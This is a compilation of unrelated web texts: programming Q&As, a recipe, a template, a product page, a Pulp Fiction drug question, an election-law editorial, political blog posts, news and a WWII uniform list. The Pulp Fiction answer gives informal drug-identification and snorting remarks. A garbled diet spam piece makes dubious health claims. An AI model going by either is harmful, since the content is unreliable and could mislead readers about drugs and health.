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Q:
Does Mia mistake Vincent's heroin for cocaine because it's in a baggie rather than a balloon?
In Pulp Fiction, when Vincent buys heroin from Lance, he informs Vincent that he only has baggies to hold his heroin:
I'm outta balloons. Is a baggie all right?
Later, Mia mistakes the heroin for cocaine and immediately over doses.
We see Mia use cocaine in two separate scenes and it is implied that she is a regular user due to the ease and familiarity that she cuts and snorts it...as if she does it all of the time.
How could a regular cocaine user such as Mia not know that she wasn't snorting cocaine?
I am assuming that heroin is normally stored in balloons due to Lance's earlier dialogue. Mia looked quite excited when she saw the baggie and had no reservations about snorting it.
Did Mia just assume that it was cocaine due to the fact that it was in a baggie rather than a balloon?
A:
Yes, what Vince buys is absolutely heroin. Yes, Mia absolutely believes what Vince has is cocaine.
But wait. Do they really look the same? I thought heroin was brown (as in, "Mr. Brownstone", the Guns And Roses classic), and coke was white?
Well, low-grade heroin (from the Middle East) is brown. It'as ideal for smoking because it's not very soluble and burns at a lower temperature.
High-grade heroin (from the Far East) is white. Much more pure. Ideal for injecting or snorting. Yes, you can snort heroin. In small amounts.
Vince, if you recall, asked for the high-grade stuff. Unless you have specific tools at your disposal (like a microscope or a burner), it's very difficult to tell high-grade heroin and cocaine apart. So, usually, you put heroin in a balloon and coke in a bag. Most drug users will know the distinction. However, if it's not your stash it's always best to ask or do a small taste test, because they have distinctive tastes. Mia, likely, just saw the bag and assumed it was coke.
A:
It seems so.
The script indicates that she thinks it's cocaine...
But wait, her fingers touch something else. Those fingers bring out a plastic bag with white powder inside, the madman that Vincent bought earlier from Lance. Wearing a big smile, Mia brings the bag of heroin up to her face.
MIA:
Disco! Vince, you little cola nut, you've been holding out on me.
Mia has the unbeknownst-to-her heroin cut up into big lines on her glass top coffee table. Taking her trusty hundred dollar bill like a human Dust-Buster, she quickly snorts the fat line.
CLOSEUP – MIA
Her head JERKS back. Her hands go to her nose (which feels like it's on fucking fire), something is terribly wrong.
Then... the rush hits...
How could a regular cocaine user such as Mia not know that she wasn't snorting cocaine?
Obviously, this is somewhat opinion based but if you see something that looks like what you're expecting, familiarity/confirmation bias would lead to you ignore any possible misidentification issues.
We tend to see what we want to see!
|
Wash all the tomatoes and chop them into smaller cubes and put into the big bowl and put aside.
Finely chop the red onion and garlic and put in the big pot with the olive oil, nutmeg and a bit of salt and pepper. Turn the heat on high and stir occasionally until the onions soften.
Note: (actually I used a 2 L pot (0.5 gallon), almost all the tomatoes fit except one or two, I waited a few minutes to add the rest, then it was fine)
When the onions are soft add in all the chopped tomatoes from the bowl. Stir occasionally until it has been brought to a simmer, then turn the heat on low.
Let the sauce simmer for about 1½ hour without a lid on while stirring occasionally. The sauce is finished when it is about half the size from when you started. (Be aware that this time frame really depends on a lot of things; how much heat you use and how wide your pot is, could make things go faster or slower. More heat will make it cook faster, but you’d have to stir more to not make it burn, and a wider pot would make it evaporate faster, etc etc. Use low heat, stir sometimes and it’s finished when it’s half the size).
Chop a lot of fresh basil and some oregano and add to the sauce a few minutes before serving. Fresh herbs taste better than the dry ones and are added later to not make the sauce bitter. |
<!--Descriptive page name, messages and instructions-->
<h2 class="heading"><%= link_to ts("Archive FAQ"), archive_faqs_path %> > <%= @archive_faq.title %></h2>
<!--/descriptions-->
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<% if @archive_faq.slug == "search-and-browse" %>
<p class="notice">
<%= ts("Our search engine has recently been updated, and this FAQ is based on our old version. We're working on bringing you more up-to-date information, but in the meantime, you can find out more in our %{elasticsearch_post}!", elasticsearch_post: link_to(ts("news post announcing the search and filter updates"), admin_post_path(10575))).html_safe %>
</p>
<% end %>
<div class="admin" role="article">
<% if logged_in_as_admin? %>
<div class="header">
<h3 class="heading">
Updated: <%=h @archive_faq.updated_at %> | <%= link_to 'Edit', edit_archive_faq_path(@archive_faq) %>
</h3>
</div>
<% end %>
<% if @archive_faq.questions.blank? %>
<p class="notice"><%= ts("We're sorry, there are currently no entries in this category.") %></p>
<% else %>
<div <% if rtl? %>dir="rtl"<% end %> class="userstuff">
<div id="toc" class="toc" role="navigation">
<h3 class="heading">
<% #TODO: Change this back to 'Questions in the NAME Category' once Translation system in place %>
<%= ts("#{@archive_faq.title}") %>
</h3>
<ul role="navigation">
<% for q in @questions %>
<li><%= link_to q.question, archive_faq_path(@archive_faq, :anchor => q.anchor) %></li>
<% end %>
</ul>
</div>
<div id="faq">
<% for q in @questions %>
<h3 id="<%= q.anchor %>">
<%= q.question %>
</h3>
<% unless q.screencast.to_s == "" %>
<p class="screencast">
<span class="label"><%= ts("Screencast") %>:</span> <%= link_to q.question, q.screencast.to_s %>
</p>
<% end %>
<%= raw sanitize_field(q, :content) %>
<% end %>
</div>
</div>
<% end %>
</div>
<!--/content--> |
Q:
Handle number in string php (Part2)
this is my problem 1 here: Handle number in string PHP . I solved it.
Now, i see new problem, you can see the picture:
I want to get only number, not date (500000 and 200000) and sum it.
This is my code without date:
$total= 0;
$ex = explode(' ',$_POST['txtSalary']);
function total($ex) {
global $total;
return $total+=$ex;
}
array_map('total',$ex);
echo $total."<br/>";
I try so much but no result, hope you can help me. Thank you!
A:
I assume that your $_POST['txtSalary'] look like below:-
$_POST['txtSalary'] = '-27/07/2016: 5000000
-01/08/2016: 2000000';
So do like below:-
<?php
$_POST['txtSalary'] = '-27/07/2016: 5000000
-01/08/2016: 2000000';
$array = explode(PHP_EOL, $_POST['txtSalary']);
print_r($array);
$sum = 0;
foreach($array as $arr){
$sum += explode(': ',$arr)[1];
}
echo $sum;
Output:- https://eval.in/612692
|
Q:
LaTeX align stacked summation
I am writing an elementary summation proof and would like to write that
1 + 2 + 3 + ... + n-2 + n-1 + n
+ n + n-1 + n-2 + ... + 3 + 2 + 1
= n+1 + n+1 + n+1 + ...
and so on. I want the symbols to line up so that it's easy to see the vertical addition. How do I do this in LaTeX? The align environment doesn't do so well with multiple things to align on, and creating a tabular environment is annoying because it's not in math mode.
A:
The array environment is the way to go here. This solution is better in some ways than Jack Kelly's, and worse in other ways:
\begin{array}{c *{6}{c@{\hspace{6pt} + \hspace{6pt}}} c}
& 1 & 2 & 3 & \ldots & n-2 & n-1 & n \\
+ & n & n-1 & n-2 & \ldots & 3 & 2 & 1 \\
= & n+1 & n+1 & n+1 & \ldots & n+1 & n+1 & n+1
\end{array}
Two things to notice in the column specification: we use *{6}{spec} to get six copies of a column with specification spec. We also use @ to specify that each column separator should look like a six-point gap, a plus sign, and another gap.
More on the @ trick here.
|
Cletus
Style: #SMRFTCLE
$90.00$90.00
Size
Details:
Whittled on the front porch in the spirit of "don't let the man do to you what he done to me." The VonZipper Cletus sunglasses were born under the seventh sun. Pull out your black cat bone and get your mojo working in this honey dripper. |
The Menu Without Any Harm To Your Health!
Errors in a food are our most proof errors. And meanwhile, anybody so quickly does not change the sights thanks to last scientific researches, as dieticians. Eat in a foot in due course! Safely leave the taken roots errors and widespread myths!
Certainly, at short thermal processing the meal has more than chances to keep vitamins and minerals. But this principle does not approach for diabetics. Researchers from New York assert that time increase in cooking allows to lower strongly level of potentially hazardous to health toxic chemicals which are containing in a foodstuff and becoming more active at their warming up. At the majority of people the organism without effort copes with consequences of hastily prepared food, however for sick of diabetes such haste can turn back troubles.
It is better to diabetics to cook food not on strong fire and quickly, but on small fire and slowly.
Fresh vegetables it is not always more preferable than frozen ones. Vegetables from a freezer often contain more than useful substances, than imported “fresh” which offer supermarkets not during a season. The matter is that fresh by sight vegetables which are on sale in the winter, make a long way from Southern Europe or Africa and lose the most part of vitamins and minerals. The frozen vegetables, on the contrary, usually are exposed to processing of all in some hours after have been collected, and their nutritional value remains.
And one more fact which will not please supporters of crude eating: Researchers have found out that from boiled carrots the organism acquires in 5 times more carotenoids than from the crude. It speaks that in the course of cooking walls of cages of carrots are softened. The same occurs and to other vegetables. And though the part of vitamins at culinary processing really perishes, remained are acquired much better. Besides, some vegetables, for example eggplants and a siliculose string bean, contain poisonous substances which become harmless only after thermal processing. At last, crude products are not always acquired in a gastroenteric path.
If at a table to drink water or juice, it is possible to gain additional weight? Similar interrelation it is not noticed. But the liquid during a meal does not need to be drunk nevertheless because it disturbs to normal digestion of food, diluting gastric juice. The healthy organism allocates saliva enough to soften food. It is better to drink to meal or after it.
Is it possible from a potato and macaroni quickly gaining excess weight? Actually get fat at all from these products, and from fat having added, creamy and vegetable oil, cheese with which them generously flavor. As have shown detailed researches, potato starch stimulates synthesis of vitamin В2; under its action the exchange of bilious acids becomes more active. As a result of this process besides the other cholesterol level in blood decreases.
So, let’s sum up the “how to lose weight fast” topic. You must get to the point that everything is at your fingertips. It’s simple: all you need is to remember that today the web technologies give you a really unique chance to choose exactly what you require and get the best choice possible. Strange, but most of the people don’t use this chance. In real practice it means that you should use all the tools get the information that you need.
Search Google or other search engines. Visit social networks and check the accounts that are relevant to your topic for “fat burning furnace reviews“. Register in the niche forums and track the online discussion. All this will help you to build up a true vision of this market. Thus, giving you a real opportunity to make a wise and unbiased decision.
And also sign up to the RSS feed on this blog, because we will do the best to keep updating this blog with new publications about fat burning furnace industry and other nuances of this big market. |
Verbum Ultimum: A College Constituency
William Pitt the Younger became Britain’s prime minister when he was 24. For most of his time in parliament, his constituency was the University of Cambridge. Until 1950, the United Kingdom allowed the students and alumni of universities to elect members to its national legislature, and Pitt, a man who would rule his country through many of its most tumultuous moments, took office when he was barely older than the average Dartmouth senior today.
Dartmouth, of course, is not represented by a university constituency. Students must vote in the same election as everyone else — and that is for the best. However, the incumbent government of New Hampshire aims to circumscribe the voting rights of students throughout the state, not just at Dartmouth but also at Plymouth State University, the University of New Hampshire, Colby-Sawyer College and many other schools. Governor Chris Sununu and the state legislature conveniently tucked into his sport coat’s pocket are attempting to curtail the most basic rights and liberties students have to maintain their own power and standing.
State Senator Regina Birdsell introduced the bill, SB 3, which allegedly aims to address a public perception of voter fraud stemming from President Donald Trump’s fact-free claim that thousands of voters were bussed into the state from Massachusetts to vote illegally. The law would require extensive documentation in order to vote, particularly for same-day voter registration. Individuals would be required to submit proof of residence within 10 days of voting or face criminal charges and fines of up to $5,000. SB 3 would, in effect, make criminals out of anyone who attempted to vote while being a student, poor, in the military or in any way transient.
The primary burden for students comes from the bill’s provisions that aim to make it more difficult to declare a permanent residence. To prove that a voter has a “single continuous presence” in the town in which he or she aims to vote, extensive documentation must be provided. Acceptable documents include hunting licenses, state tax returns, utility bills, leases or property deeds, none of which students are likely to have. And these impediments will not just harm students — military service members, contractors and other transient workers will also be disproportionately punished.
Though this bill is ostensibly about voting fraud, New Hampshire’s Republican Party has been exceptionally clear about why it wants to restrict voting rights for students — it boils down to electoral gain. Former State House Speaker William O’Brien summed up his party’s position succinctly in 2011, stating that college students will tend to vote for Democrats because, “that’s what kids do — they don’t have life experience, and they just vote their feelings.”
Elections in New Hampshire are frequently decided by tiny margins. Senator Maggie Hassan beat former Senator Kelly Ayotte last fall by just 1,017 votes out of 738,620 cast. Trump lost to former Democratic presidential nominee Hillary Clinton by just 2,736 votes. As students, our votes matter. Both of those margins are well below the total number of students at Dartmouth — indeed, the former is below the total number of students in a single Dartmouth class. Add that to the student votes at many other colleges in the state, and it is clear that college students have an impact on elections here.
But this does not just impact center-left college students. Conservative students will be just as impacted, their rights just as harmed. Demanding basic constitutional rights — in this case, the right to vote — should not be controversial. Our elected officials should want nothing more than a healthy democracy in which all citizens can, without undue burden, cast their ballots. Instead, the state’s Republican leadership is acting in a way to undermine its legitimate opposition.
New Hampshire should aim to attract talented young people, but by enacting this bill, the state will drive students away from its colleges and universities and make it less likely that those already enrolled will stay in the state after graduation. New Hampshire’s economy and future benefit when students stay in the state after graduation, regardless of whether, like 39 percent of UNH’s 2015 freshman class, they grew up here or whether they came just for college.
The precedent set by this bill is also dangerous. If people must settle in a place for an indefinite period of time to qualify to vote, how many college students or recent graduates will ever be able to vote? Many Dartmouth students will move numerous times by their 30th birthdays. Would all these people be unable to vote? And do the young voices generated by student votes not ultimately add a valuable perspective that New Hampshire, as a rapidly aging state, needs?
Hanover is home; Dartmouth is home. And even if most of today’s crop of students will leave the town after graduation, a new group will take their place — and another, and another. An individual student is not eternally present in New Hampshire, but the College can certainly be said to be permanent. Our most basic rights as citizens are being undermined, and the voices of the young are being silenced for electoral gain.
Let this remain a democracy where people are taken seriously. Let us know that, no matter our age or race, no matter our occupation, we are all Americans and our votes count. And let us please remind the state’s Republican Party leadership that their actions undermine the fundamental basis of American participatory democracy: the right to vote. The Constitution of this state says that, “All elections ought to be free, and every inhabitant of the state having the proper qualifications, has equal right to elect, and be elected into office.” Our current leaders have forgotten that democracy is more important than keeping their own jobs. They have forgotten what is meant by “live free or die.”
The editorial board consists of the opinion staff, the opinion editor, both executive editors and the editor-in-chief. |
Q:
How can I find files with a long first line?
currently I have a problem with a server. One user who is hosting a lot of sites got hacked and some of his php files were modified. Now I want to get a list of the infected files and also want to check if he cleaned the whole mess.
The common thing between the infected files is that the first line is very long. So I'd like to find every php file on the server that has a min length of 1000 chars.
Well, I can find all php files with "find" and get with "head -n 1" the first line and count the chars with "wc -m".
But how can I combine it together?
A:
You can do it with just find and awk:
find . -type f -name '*.php' -size +1000c -exec awk '
FNR > 1 {nextfile}
length >= 1000 {print FILENAME}' {} +
The awk script skips to next file after the first line of every file. It prints the filename of the current file if the current line is >= 1000 characters long.
|
A bumper issue this month with L.K. Sharma dissecting the current state of the political scene in India; Andrea Baranes the President of the Fondazione Culturale Responsabilità Etica of the Banca Etica network looks into the relationship between finance and the environment; Gerry Hassan the writer, commentator and academic examines Britain's eternal imperial mindset and Geoffrey Heptonstall, poet, playwright and essayist, discusses why the career of Orson Welles continues to raise questions about the relation of imaginative art to popular culture and much more...
"There is this idea that one needs to re-locate in order to decentralize. Moving away into open land, away from urban areas, away from the civil perimeters of town and community; this can be advantageous but also be isolating and misleading." Essay by Carlos Cuellar Brown, a New York City artist and essayist.
Finance should be a tool at the service of the economy. It should be the ‘money market’ where supply and demand for money meet. A significant portion of the financial system however has transformed from being a tool, to being an end in itself: to make money from money in the shortest possible time, losing sight of its social purpose.
For two decades, the world seemed to be convinced that all indicators pointed in the same direction: more democracy, more economic openness, more human rights, more international cooperation. Not anymore. |
Blogs
Private property is a fundamental right in America and a central point of President Trump's America First trade agenda. It figures prominently in the new agreement to replace NAFTA and our trade confrontation with China.
To be blunt, America believes in private property. Other countries don't.
We understand private property is essential to prosperity. What's the point of making, inventing or improving something if someone else can take it from you, sell it as their own and pocket the money.
Tariffs on Chinese imports have the nabobs of negativism nattering on about how American consumers will have to pay more at the mall this Christmas. These talking heads know the price of everything and the value of nothing.
Instead of focusing on who is paying what, they should be asking who are we doing business with.
The Communist regime in Beijing claims it is practicing “socialism with Chinese characteristics,” but in reality it is nothing more than a criminal enterprise.
The media's never-ending hunt to take down President Trump has them roaming the countryside.
Farmers voted in overwhelming numbers for President Trump in 2016. But we are told they have turned against him, or will soon turn, or are thinking about making a U-turn on a farm road, or something like that depending on which story you read.
The problem is, the reporters can't find a farmer to say anything that matches their pre-written headlines.
Curtis Ellis, Policy Director of America First Policies, talks with Rick Roberts of WBAP radio Dallas about China's threat to America's economy and way of life, President Trump's tariffs and takes calls from listeners. Runs 29 minutes.
“American Factory,” a production of Barack and Michelle Obama, offers a warning of where unchecked globalism leads.
The true nature of China’s Communist regime has become increasingly clear, with its cyber-espionage, intellectual property theft and state-subsidized attacks on our industries openly acknowledged by everyone.
Add to that Beijing’s assault on Hong Kong and it’s obvious what’s at stake in our confrontation with China is far more than the price of sports socks at Walmart.
Want business 'certainty'? Get out of China
Curtis Ellis calls for higher anti-dumping tariffs on oil drilling equipment
Big business wanted certainty. President Trump just gave it to them:
China is no place to do business. Get out now.
To those who've been saying we need to make a deal, any deal, with China to restore certainty, the president made certain this administration will not surrender to China's continuing assault on the American people and our free enterprise system.
Curtis Ellis: ‘Truly Frightening’ How U.S. Relies on China for Vital Industries
The country’s reliance on China for vital industries that are necessary for United States national security is “truly frightening,” says Curtis Ellis of America First Policies.
As U.S. negotiators were overseas attempting to stop a foreign power’s aggression, American political operatives were telling the other side to hold off on making any agreement. They would get a better deal from a new administration after the election, those operatives assured them. |
Q:
git patch -p confusion
So, I try to patch my current branch using command
patch -p RETURN quote-patch.txt
However, I dont know what number should I put after -p option.I tried to put several number (0,1,2,3,4), but it return this error:
patching file RETURN
Hunk #1 FAILED at 74.
Hunk #2 FAILED at 84.
Hunk #3 FAILED at 95.
Hunk #4 FAILED at 107.
Hunk #5 FAILED at 139.
Hunk #6 FAILED at 187.
6 out of 6 hunks FAILED -- saving rejects to file RETURN.rej
any idea? thx
A:
Your patch does not apply to your current working set.
Without more information, I cannot say why that is the case. Perhaps you changed RETURN locally before attempting the patch application. As the message suggests, try taking a look in RETURN.rej (and RETURN itself) to fix up the fallout.
When using the patch command-line utility, you should use a -p number which causes the paths in the patch to match up with those in your working set: If the patch header says +++ lib/foo/RETURN, and your current working directory has foo/RETURN in it, that would be a case for -p1.
However, since you've tagged this question "git", I'm going to assume you're in a git repository. When using git, you shouldn't use the patch tool: instead, either push+pull changes naturally, or use git format-patch and git am to send and receive sets of changes. That will preserve permissions, commit messages, authorship information, and so on. All this extra metadata would be lost if you use a straight diff and then apply the change with patch.
|
[Study of nutritive value of modified casein].
It has been shown that modified casein purified from carbohydrate components contains several times less phosphorus and calcium as compared to initial casein. Figures close to experimental and potential biological value were obtained in experiments on growing rats with modified and initial casein as a protein component-milk substitute. |
Torrent sharing site The Pirate Bay has been taken offline by its primary ISP – Black Internet.
According to a decision by the Stockholm District Court to the ISP Black Internet to stop supplying capacity to the Pirate Bay, or risk a penalty of 500,000 Swedish kronor (£43,000/$71,000).
“We received the decision on penalty just after lunch and turned the capacity just before three approximately. There are laws and rules in society and should be followed. What we like it here and how we act in the future, we have not decided yet, “says Black Internet’s CEO Victor Moller to DN.se.
Former spokesperson for the site Peter Sunde has been tweeting: “A Swedish court apparantly decided it is illegal to be an ISP”, following that up with “it’s a scandal as usual of course”.
black Internet is not the only company that sells capacity to Pirate Bay, but Victor Moller says that it is all that now threatened with the penalty. He assumes that Black Internet is the largest supplier to the Pirate Bay.
“They will be able to redirect and get the capacity from elsewhere, but of course it takes some time,” says Victor Moller.
via
Read next: Hulu UK launch getting closer |
37 Military Uniforms Worn By Soldiers During World War II
In times of war, armed forces and paramilitaries are required to wear their nation's official military uniforms. While uniforms are mainly used to identify friendly units, they also serve as a camouflage against the enemies.
Below, we get a look at 37 different military and paramilitary uniforms worn by soldiers from various countries during the Second World War.
82nd Airborne, Sicilly, 1943
01 – M2 helmet with camouflage net
02 – M1942 jacket
03 – M1942 trousers
04 – M1934 wool shirt
05 – boots
06 – M1936 main belt with M1916 holster for the Colt M1911 pistol
07 – M1936 webbing
08 – M1A1 carbine
09 – M2A1 gas mask
10 – M1910 folding shovel
11 – M1942 canteen 12 – M1910 bag
13 – dog tags
14 – M1918 Mk I knife
15 – M1936 backpack
Sergeant, UK 1st Airborne, 1944
01 – MkII helmet- jump version, with camouflage net
02 – Battle-dress
03 – M41 “Denison smock” jacket
04 – face camouflage net
05 – toggle rope
06 – boots
07 – M37 leggings
08 – M37 webbing
09 – Sten MkV SMG with bayonet
10 – M36 grenade
Private, Volksgrenadier division, Italy/Greece, 1944
01 - M-40 helmet
02 - M-43 summer jacket
03 - ski trousers
04 - shirt
05 - socks
06 - boots
07 - M-41 leggins
08 - main belt
09 - ammo pouches
10 - M-38 webbing
11 - military songbook
12 - M-24 grenade
13 - face net
14 - M-38 gas mask
15 - 7,92 mm Mauser 98k rifle
16 - M-84/98 bayonet
17 - "Infanterie-Sturmabzeichen"- Infantry assault badge
US infantry, 1942-1945
01 – M1 helmet
02 – M1934 shirt
03 – M1934 sweatshirt
04 – M1941 trousers
05 – service boots
06 – M1938 leggins
07 – M1926 life belt
08 – M1937 ammo belt
09 – M1924 personal dressing
10 – M1910 canteen
11 – gas mask bag
12 – M1918A2 Browning Automatic Rifle with M1907 belt
13 – armband
14,15 – obvious
16 – shoulder badges: A – 1st Armoured B – 2nd Arm C – 3rd Infantry E – 34th Inf F – 1st Inf
Italian engineer, Northern Africa, 1942
01 - Steel helmet with enginners badge
02 - tropical sweatshirt with engineers badges on the collar tabs
03 - leather belt, webbing and ammo pouches
04 - shorts
05 - shirt
06 - 6,5 mm Carcano 91/41 rifle
07 - Model 1891 bayonet
08 - 6,5 mm ammo
09 - SRCM 1935 grenade
10 - T-35 gas mask
11 - breadbag
12 - canteen
13 - protective goggles
14 - leather boots
SS-Reiter (Private), 8. SS-Kavallerie Division “Florian Geyer”, summer 1944
01 – M-40 Feldmutze field cap
02 – M-40 helemt with SS badges
03 – Feldbluse 44- new sweatshirt,
inspired by the British battle dress,
cavalry markings on the shoulder straps.
04 – trousers
05 – M-35 belt
06 – wool shirt
07 – M-39 webbing
08 – “Florian Geyer” division armband
09 – woollen gloves
10 – Panzerfaust 60
11 – 7,92 mm Sturmgewehr 44
12 – M-84/98 bayonet
13 – tarpaulin ammo pouches
14 – M-24 grenade
15 – Waffen SS payment book
16 – M-31 canteen
17 – M-43 leather boots
18 – leggins
2nd Lt, 1st Infantry Division, Polish People’s Army (USSR), 1943
01 wz. 1937 field “rogatywka” cap
02 Model 1936 drill jacket, wz.1943 military
eagle on the buttons
03 Soviet breeches
04 Model 1935 officer’s belt
05 synthetic leather holster for Nagant revolver
06 synthetic leather map pouch
07 leather boots
08 Adrianoy compass
09 binoculars
10 7,62 mm PPSh-41 SMG
11 decorations: Cross of the Valorous,
“Zasluzonym na Polu Chwaly” medal
Major, Polish Air Force in the UK, 1940- 1945
01 RAF officer’s cap with Polish wz.1936 air force eagle
02 RAF officer’s jacket, Polish major insignia on the collar
tabs, British Flight Lieutenant insignia on the sleeves.
03 Officers’ trousers
04 Shoes
05 Briefcase
06 Silver Cross of the Virtuti Militari Cross
07 Infantry Officer’s School Badge
08 Observer badge
09 British Navigator’s wings
Polish Infantry – Private, 1939
01 wz. 1939 “rogatywka” garrison cap
02 wz. 1937 “rogatywka” field cap
03 wz. 1937 steel helmet
04 wz. 1936 jacket
05 dog tag
06 WST wz. 1932 gas mask in a tarpaulin bag
07 personal dressing
08 leather ammo pouches
09 wz. 1933 breadbag
10 leather main belt
11 wz. 1938 canteen
12 wz. 1928 bayonet cover
13 folding shovel in a leather cover
14 wz. 1933 backpack with blanket
15 standard army biscuit
16 wz. 1931 mess kit
17 spoon + fork kit
18 owijacze – belts of cloth used instead of socks
19 boots
20 GR-31 grenade – frag
21 GR-31 grenade – concussion
22 7,92 mm Mauser 1898a rifle
23 7,92 mm ammo clips
24 wz.1924 bayonet
25 wire cutting shears
Polish Cavalry Officer, 1939
01 wz.1935 “rogatywka” garrison cap
02 wz.1923 forage cap
03 round cap of the 3rd Cavalry Regiment
04 wz.1937 “rogatywka” field cap
05 wz.1936 officers’ garrison jacket,
06 memorial badge of the 21st Uhlan Regiment
07 dog tag
08 wz.1936 officers’ field jacket
09 9mm wz.1935 “Vis” pistol
10 personal dressing
11 wz.1936 officers’ main belt
12 leather holster for the wz.1935 pistol
13 officers’ boots with spurs
14 officers’ field bag, B-type
15 binoculars
16 strap for wz.1935 pistol
17 wz.1921/22 officers’ sabre
Polish Uhlan, 1939
01 wz. 1937 “rogatywka” field cap
02 wz. 1932 forage cap
03 “Adrian” French steel helmet
04 wz. 1936 jacket
05 wz. 1931 canteen
06 dog tag
07 leather ammo pouches for Mauser ammo
08 main belt
09 RSC gas mask with canister
10 wz. 1924 bayonet cover
11 folding shovel in a leather cover
12 boots with spurs
13 wz. 1931 mess kit
14 personal dressing
15 wz. 1934 cavalry sabre
16 7,92mm Mauser 1898a rifle
17 wz. 1924 bayonet
18 7,92 mm ammo clips
19 fork + spoon kit
Major, maintenance units of the 1st Polish Armoured Division, German, 1945
01 M 37/40 battle dress, maintenance units banners on the collar tabs
02 black shoulder strap of 1st Armoured Div
03 1st Arm Div badge
04 Silver Cross of the Virtuti Militari Cross
05 M 37 webbing
06 11,43 mm Colt M1911 pistol
07 Officers’ boots
08 leather vest
09 drivers’ gloves
10 armoured units’ training helmet
11 AT Mk II motorcycle helmet
12 Mk II helmet
13 leggings
2nd Lt., AAA of the 2nd Polish Corps, Ital, 1945
01 M40 battle dress, AAA colors of the collar tabs
02 American woollen shirt
03 M40 overcoat
04 M42 beret
05 boots
06 M37 breadbag
07 dog tags
08 ribbons of the Monte Cassino Cross
09 2nd Polish Corps Artillery memorial badge
10 Polish-English pocket dictionary
11 Propaganda leaflet
Lieutenant, 1st Polish Airborne Brigade, Arnhem, 1944
01 British beret with Polish eagle and rank insignia
02 “Denison smock” Mk I Jacket
03 “Oversmock” vest
04 Officers’ boots
05 trousers from M37 Battle dress
06 British map pouch
07 captured German ammo pouch
used as a cover for a flashlight
08 webbing, belt and holster for
Enfield No2 revolver
09 9mm Sten Mk II SMG
10 AT Mk II airborne helmet
Major, 1st Polish Armoured Division (UK), 1942-43
WW2 1st Polish Armoured Div – Regimental Day
1st Polish Armoured Div – Regimental Day
01 British forage cap with a Polish wz.1940 military eagle and major’s insignia
02 British officer’s jacket
03 British trousers
04 Officer’s belt
05 Shirt and Tie
06 Officers’ boots
07 Black shoulder strap of 1st Armoured Div
08 1st Armoured Division Badge
09 Banners of 1st Independent HMG Batallion
10 1st HMG Batallion’s honorary cord
Partisan of the Peasant Battalions (Bataliony Chlopskie) Poland, 1942
01 wz.1937 “rogatywka” cap
02 jacket
03 trousers
04 boots
05 improvised armband
06 9 mm MP-40 SMG
Soldier of the Warsaw Uprising, 1944
01 German “Gladiator” helmet
02 Wehrmacht sweatshirt in “Sumpftarnmuster” camp
03 Polish wz.1933 main belt
04 Polish breeches
05 German pre-1939 boots
06 Ak (Home Army) armband
07 9 mm Sten Mk II SMG
08 German ammo pouches for MP-38/40 mags
Private, 1st Polish Army, Kolberg, March 1945
01 wz.1937 field “rogatywka” cap
02 Soviet M 1940 helmet with Polish wz.1943 military eagle
03 Model 1937 overcoat
04 Model 1936 tarpaulin jacket, infantry banners on the collar tabs
05 M 1935 drill trousers
06 owijacze (leggings)
07 Soviet main belt
08 boots
09 German M-09 ammo pouches
10 pot
11 self-made spoon
12 7,62 Mosin 1891/30 rifle with bayonet
13 F-1 grenade
14 RPG-1 anti-tank grenade
15 oiler for the Mosin rifle
16 Maxim HMG ammo belt container
17 canteen
Private, Polish Army in the USSR, 1941
01 wz.1937 “rogatywka” field cap
02 Model 1937 overcoat
03 main belt
04 Model 1904 ammo pouches
05 felt boots
06 tarpaulin gloves
07 7,62 mm Tokarev SVT-40 rifle
Private, 1st Grenadier Division, Polish Army in France, 1940
01 Model 1919 beret
02 Model 1918 French forage cap
03 French Model 1915 “Adrian” helmet
04 Polish “rogatywka” cap
05 ammo clip
06 ammo pack
07 leather webbing
08 Model 1916 ammo pouches
09 Model 03/14 main belt
10 8 mm Berthier 1892 carbine
11 Model 1938 privates’ jacket
12 Model 1922 trousers
13 Model 1935 gas mask with leather bag
14 calendar
15 Model 1893 backpack
16 blanket
17 Model 1935 mess kit
18 Model 1935 cup
19 canteen
20 Model 1917 boots
SS-Reiter (Private), 8. SS-Kavallerie Division “Florian Geyer”, summer 1944
01 – M-40 Feldmutze field cap
02 – M-40 helemt with SS badges
03 – Feldbluse 44- new sweatshirt, inspired by the British battle dress, cavalry markings on the shoulder straps
04 – trousers
05 – M-35 belt
06 – wool shirt
07 – M-39 webbing
08 – “Florian Geyer” division armband
09 – woollen gloves
10 – Panzerfaust 60
11 – 7,92 mm Sturmgewehr 44
12 – M-84/98 bayonet
13 – tarpaulin ammo pouches
14 – M-24 grenade
15 – Waffen SS payment book
16 – M-31 canteen
17 – M-43 leather boots
18 – leggins
Waffen SS Sturmmann (Corporal), Normandy, 1944
01 – M-40 helmet with SS badges
02 – M-43 SS Feldbluse, Sturmmann’s insignia on the collar tabs and left sleeve, Iron Cross 2nd Class ribbon on the button
03 – trousers from the Drillichtanzug 43 uniform, in “Tupfenmuster” camo
04 – SS main belt with webbing
05 – Patronentasche für MP-Magazine, ammo pouches for MP-38/40
06 – map pouch
07 – 9 mm MP-40 SMG
08 – breadbag, canteen, Zeltbahn tent cloth
09 – boots
10 – gas mask canister
SS- Haupsturmfuhrer (Captain)
01 – M-38 SS officers’ jacket, with SD rhombus on the left sleeve, silver chevron on the right sleeve means that the uniform owner joined NSDAP before 30.01.1933
02 – Schirmmütze officers’ cap
03 – M-44 officers’ trousers
04 – M-34 officers’ belt
05 – Decorations:
– Iron Cross 1st Class
– ribbons: “Kriegsverdienstkreuz” (war service cross), medal for the winter campaign on the eastern front 1941/42, bronze SA sport badge
06 – Ehrendegen des Reichsführers-SS, “Reichsfuhrer’s Honorary Sword”
07 – Totenkopfring der SS
Fallschirmjäger Unteroffizier (Corporal), 1944
01 – Fallschirmschützen-Stahlhelm 38 jump helmet
02 – Fallschirmschützen Bluse camouflage sweatshirt in “Splittermuster” camo, rank insignia on the sleeves, Luftwaffe eagle on the right breast
03 – M-37 trousers
04 – M-38 gas mask in a tarpaulin bag
05 – 9 mm MP-40 SMG
06 – ammo pouches for MP-40, main belt and webbing
07 – M-31 canteen in “Fliegerblau”- “aviation blue”
08 – M-31 breadbag
09 – folding shovel
10 – Ziess 6×30 binoculars
11 – boots
“Linse” boat operator, K-Verband, Flotille K-211, Baie de Seine, France, 1944
01 – Fallschirmschützen-Stahlhelm 38 jump helmet
02 – life jacket
03 – Kriegsmarine leather jacket, “K-Verband” badge on the sleeve
04 – leather trousers
05 – Kriegsmarine sweatshirt
06 – “Schiffchen” forage cap
07 – payment book
08 – leather-canvas shoes
German cavalry sergeant major (Oberwachtmeister), 1939-40
01 – M-35 steel helmet
02 – feldgrau jacket with gold (“Waffenfarbe Goldgelb”) markings of the cavalry
03 – Steingrau cavalry breeches
04 – black leather belt
05 – holster for Luger P-08 pistol
